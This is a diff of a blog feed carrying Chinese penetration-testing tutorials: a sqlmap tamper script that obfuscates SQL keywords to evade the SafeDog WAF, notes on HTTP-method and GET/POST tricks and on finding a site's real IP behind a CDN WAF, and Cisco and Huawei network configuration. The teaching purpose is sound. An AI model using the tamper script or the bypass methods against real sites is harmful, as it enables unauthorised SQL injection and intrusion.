style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> lib.core.enums <span style="color:#f92672">import</span> PRIORITY +</span></span><span style="display:flex;"><span>__priority__ <span style="color:#f92672">=</span> PRIORITY<span style="color:#f92672">.</span>LOW +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">tamper</span>(payload): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> payload: +</span></span><span style="display:flex;"><span> bypass_SafeDog_str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/*x^x*/&#34;</span> +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;UNION&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;UNION&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;SELECT&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;SELECT&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;AND&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;AND&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;=&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;=&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34; &#34;</span>,bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;information_schema.&#34;</span>,<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20/*!</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20INFOrMATION_SCHEMa</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20*/</span><span style="color:#e6db74">%20%</span><span style="color:#e6db74">20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/&#34;</span>) +</span></span><span style="display:flex;"><span> payload<span style="color:#f92672">=</span>payload<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;FROM&#34;</span>,bypass_SafeDog_str<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;FROM&#34;</span><span style="color:#f92672">+</span>bypass_SafeDog_str) +</span></span><span style="display:flex;"><span> <span style="color:#75715e">#print &#34;[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version .&#34;</span> +</span></span><span style="display:flex;"><span> print payload +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> payload +</span></span></code></pre></td></tr></table> +</div> +</div><p>我们测试一下先不载入tamper脚本:</p>渗透测试中的Bypass技巧(二)https://payloads.online/archivers/2017-03-06/1/Mon, 06 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-06/1/<h2 id="0x01-http不同的请求方法污染">0x01 HTTP不同的请求方法污染</h2> <table> <thead> <tr> @@ -3837,7 +7642,83 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </tr> </tbody> </table> -<p>我们可以先看一个请求:</p>渗透测试中的Bypass技巧(一)https://payloads.online/archivers/2017-03-05/1/Sun, 05 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>我们可以先看一个请求:</p> +<p> + <img src="https://images.payloads.online/d3ff0d6a-4f5e-11ec-add5-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>可见是一个GET请求,此服务器是一个Apache+PHP的环境。</p> +<p>假设服务器只拦截GET/POST请求,那么根据Apache服务器的特性,发送其他请求只要脚本接收的是GET参数,那么也是可以传递参数值的。</p> +<p>如图:</p> +<p> + <img src="https://images.payloads.online/d447e0a8-4f5e-11ec-bcb0-00d861bf4abb.jpg" alt="enter description here"> + +</p> +<p>此知识点需要先知道各个Web服务器环境的特性,然后再针对特性去做测试。</p> +<h2 id="0x02-get与post的区别">0x02 GET与POST的区别</h2> +<p>Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。</p> +<p>在网上已经有很多朋友写过了其问题的答案,但是对于WAF,我们就要转变角度去看了,第一点就是要看数据包的区别。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /sql/index2.php?id=2 <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> +</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">192.168.1.102</span> +</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0</span> +</span></span><span style="display:flex;"><span>Accept<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> +</span></span><span style="display:flex;"><span>Accept-Language<span style="color:#f92672">:</span> <span style="color:#ae81ff">zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span> +</span></span><span style="display:flex;"><span>Accept-Encoding<span style="color:#f92672">:</span> <span style="color:#ae81ff">gzip, deflate</span> +</span></span><span style="display:flex;"><span>Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">yunsuo_session_verify=a89786c1a180124a6820b6387b85b693</span> +</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">keep-alive</span> +</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests<span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span>Cache-Control<span style="color:#f92672">:</span> <span style="color:#ae81ff">max-age=0</span> +</span></span></code></pre></td></tr></table> +</div> +</div><div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">POST</span> /sql/search.php <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> +</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">192.168.1.102</span> +</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0</span> +</span></span><span style="display:flex;"><span>Accept<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span> +</span></span><span style="display:flex;"><span>Accept-Language<span style="color:#f92672">:</span> <span style="color:#ae81ff">zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span> +</span></span><span style="display:flex;"><span>Accept-Encoding<span style="color:#f92672">:</span> <span style="color:#ae81ff">gzip, deflate</span> +</span></span><span style="display:flex;"><span>Referer<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://192.168.1.102/sql/search.php</span> +</span></span><span style="display:flex;"><span>Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">yunsuo_session_verify=a89786c1a180124a6820b6387b85b693</span> +</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">keep-alive</span> +</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests<span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/x-www-form-urlencoded</span> +</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>keywords=t +</span></span></code></pre></td></tr></table> +</div> +</div><p>可见在请求的数据包中,POST比GET多了一个Content-Type: application/x-www-form-urlencoded</p>渗透测试中的Bypass技巧(一)https://payloads.online/archivers/2017-03-05/1/Sun, 05 Mar 2017 00:00:00 +0000https://payloads.online/archivers/2017-03-05/1/<h2 id="0x00-前言">0x00 前言</h2> <p>许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助。</p> <p>此系列一共分为五篇文章,分别如下:</p> <ul> @@ -3888,7 +7769,45 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>自动化Bypass</p> </li> <li> -<p>思考</p>思科路由https://payloads.online/archivers/2015-11-23/1/Mon, 23 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-23/1/<p>本文介绍一下思科设备的简单配置</p> +<p>思考</p> +</li> +</ol> +<ul> +<li>五、过滤/拦截规则不严谨</li> +</ul> +<ol> +<li> +<p>等价替换</p> +</li> +<li> +<p>大小写替换</p> +</li> +<li> +<p>不常用条件</p> +</li> +<li> +<p>特殊符号</p> +</li> +<li> +<p>编码</p> +</li> +<li> +<p>注释</p> +</li> +</ol> +<h2 id="0x01-cdn-waf绕过">0x01 CDN WAF绕过</h2> +<p>CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。 &ndash;来源“百度”</p> +<p>目前CDN服务的功能是越来越多,安全性也越加强悍,用户的每个请求都会被发送到指定的CDN节点上,最后转发给真实站点。这个过程就好像加了一道关卡,这个关卡提供了缓存、加速、防御的特点。</p> +<p>在渗透测试中,如果遇到了CDN站点,几乎许多测试请求都会被CDN拦截,甚至多次请求后,会被加入黑名单。这个CDN节点属于云端WAF,如果将数据直接发送给真实站点,那么也就没有CDN的处理了,整个防御就没有任何作用。</p> +<p>那么下面我来带给大家几个方法来绕过云端WAF。首先我们必须要查询到目标站点的真实地址才可以,这里的真实地址就指的是真实IP。以下几个方法只是个人之见,如果有遗漏或者缺点,请在文章评论指出……</p> +<p>第一个,查询域名历史DNS解析,网上有很多站点都可以查询站点的历史DNS解析。假设我在本月10号,域名绑定的服务器IP是<code>199.199.199.***</code>,在下月15号更换了服务器的IP,那么这个<code>199.199.199.***</code>可能就会被直接记录在历史记录中。再根据历史记录进行判断当前IP是否是现在的网站真实服务器地址。</p> +<p>第二个,查看子域名解析地址是否和主域名的IP地址相近。一般再查询域名是否存在CDN的话,我们可以看响应头、或者看解析记录,里面大多都有关于云端CDN的字眼。当然提倡写脚本,Kali Linux中也有工具 ~</p> +<p>第三个,社工DNS 比较苛刻,需要拿到CDN那边的管理员权限开可以。</p> +<p>第四个,CDN节点分发缺陷,通过国外IP访问网站可能会出现真实IP,因为有的CDN服务商可能只做了国内节点,没做国外的,这样访问请求是直接被转发到真实服务器地址上。</p> +<p>那么下面来概述一下得到了绕过的条件如何进行绕过,假设服务器端的IP地址为121.121.1x1.1x1,管理员设置了CDN节点,经过上面的方法得到真实IP地址后,可以直接更改本地的hosts文件来直接将数据发送到网站服务器上。这里不再详细概述啦~</p> +<h2 id="0x02-白名单应用子域名">0x02 白名单应用(子域名)</h2> +<p>在有些时候,某些厂商的环境刚刚上线,用于调试项目,并没有直接将子域名添加至CDN节点,那么就有可能出现某些安全隐患,因为刚上线的项目都没有任何防御措施,如果当前项目与目标站点搭建在同一个服务器中,也会成为我们绕过WAF的有利条件。当然白名单应用不止一个上线项目,还有某些管理应用,例如:phpmyadmin,其操作完全不会被WAF拦截,当然应用过多,本人不才,只接触一些常见的,欢迎补充。</p> +<p>感谢大家的支持。</p>思科路由https://payloads.online/archivers/2015-11-23/1/Mon, 23 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-23/1/<p>本文介绍一下思科设备的简单配置</p> <p> <figure> <img src="https://images.payloads.online/d2ecd43e-4f5e-11ec-b24b-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -3965,7 +7884,77 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 -</span></code></pr华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Router5: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int FastEthernet 0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#int se +</span></span><span style="display:flex;"><span>Router(config)#int serial 1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router7: +</span></span><span style="display:flex;"><span>Router&gt; +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router9: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span></code></pre></td></tr></table> +</div> +</div><p>通信测试:</p>华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> <ul> <li> <p>1.创建四个VLAN在四个交换机上,分别是 10 20 30 40。</p> @@ -4002,7 +7991,28 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>[Huawei]vlan batch 10 20 30 40 -</span></span></code></pr华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-分别设置trunk链路">0x02 分别设置trunk链路</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/1 to e 0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan all +</span></span></code></pre></td></tr></table> +</div> +</div><p>说明:在每个交换机都要创建四个VLAN、并且都设置trunk链路</p>华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> <p> <figure> <img src="https://images.payloads.online/d1b893a0-4f5e-11ec-b60d-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -4094,7 +8104,93 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">80 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">81 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">82 -</span></code></pr华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span 